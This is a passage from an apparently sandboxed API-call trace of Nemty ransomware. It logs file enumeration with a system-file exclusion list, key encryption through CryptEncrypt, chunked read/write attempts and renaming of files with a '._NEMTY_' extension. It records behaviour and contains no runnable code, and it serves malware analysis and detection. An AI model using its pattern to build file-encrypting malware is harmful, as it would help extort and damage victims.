dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0208.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0208.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0208.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0208.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0208.007] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-V", cAlternateFileName="HKM314~2")) returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2=".") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="..") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="...") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="windows") returned -1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="$RECYCLE.BIN") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="rsa") returned -1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="NTDETECT.COM") returned -1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="ntldr") returned -1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="MSDOS.SYS") returned -1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="IO.SYS") returned -1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="boot.ini") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="boot.ini") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="AUTOEXEC.BAT") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="ntuser.dat") returned -1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="desktop.ini") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="CONFIG.SYS") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="RECYCLER") returned -1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="BOOTSECT.BAK") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="bootmgr") returned 1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="programdata") returned -1 [0208.007] lstrcmpiW (lpString1="HKm314-B5-V", lpString2="appdata") returned 1 [0208.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm314-B5-V", lpUsedDefaultChar=0x0) returned 11 [0208.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm314-B5-V", lpUsedDefaultChar=0x0) returned 11 [0208.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-V", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm314-B5-V", lpUsedDefaultChar=0x0) returned 11 [0208.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0208.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm314-B5-V", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKm314-B5-V", lpUsedDefaultChar=0x0) returned 11 [0208.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0208.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0208.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0208.008] Sleep (dwMilliseconds=0x5) [0208.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2fa122f0, dwHighDateTime=0x1d561e8)) [0208.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2fa122f0, dwHighDateTime=0x1d561e8)) [0208.024] GetLastError () returned 0x5 [0208.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0208.024] GetLastError () returned 0x5 [0208.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0208.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.024] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0208.024] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0208.025] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0208.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0208.025] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="RL543+/KUa4aNnC5WnoDXK3hzFEJENisXszex9GkU+Y9loSTrVsE8TxA2C+2cDa9\r\nRLS9XKlgpSAEZE9icabNk2PGuLatTcrGRMjPgHJ9saWNrp3uMC3qnoR7BzSoj85M\r\nZaImMMRxwUahj03BkeaDNFXwMcfO+qzhOyqy0nyLizFR0y5CcJfVV53dc7Rtg+4F\r\nqtiJjqOEgvmJo/CHzjel/q8Qg8RHraNEODJ9iAQnYBf9Bit4CKBfFvaGf2n2mQrJ\r\np7YZtKYm+NSYTMKPB904i9+kDemoIgYtpmCm14p48egoch/NgyeZ3ZXyxbERIm8B\r\nH/UWUx1NK1JSrSFRRXv9aw==\r\n", pcchString=0x653e91c) returned 1 [0208.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0208.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0208.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0208.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0208.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0208.025] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0208.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0208.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.083] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.083] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.102] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.102] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0208.134] CloseHandle (hObject=0xffffffff) returned 0 [0208.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0208.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0208.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0208.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0208.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.134] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-v._nemty_kgobjgd_")) returned 0 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0208.134] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-H", cAlternateFileName="HKM471~1")) returned 1 [0208.135] lstrcmpiW (lpString1="HKm471-B5-H", lpString2=".") returned 1 [0208.135] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="..") returned 1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="...") returned 1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="windows") returned -1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="$RECYCLE.BIN") returned 1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="rsa") returned -1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="NTDETECT.COM") returned -1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="ntldr") returned -1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="MSDOS.SYS") returned -1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="IO.SYS") returned -1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="boot.ini") returned 1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="boot.ini") returned 1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="AUTOEXEC.BAT") returned 1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="ntuser.dat") returned -1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="desktop.ini") returned 1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="CONFIG.SYS") returned 1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="RECYCLER") returned -1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="BOOTSECT.BAK") returned 1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="bootmgr") returned 1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="programdata") returned -1 [0208.136] lstrcmpiW (lpString1="HKm471-B5-H", lpString2="appdata") returned 1 [0208.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKm471-B5-H", 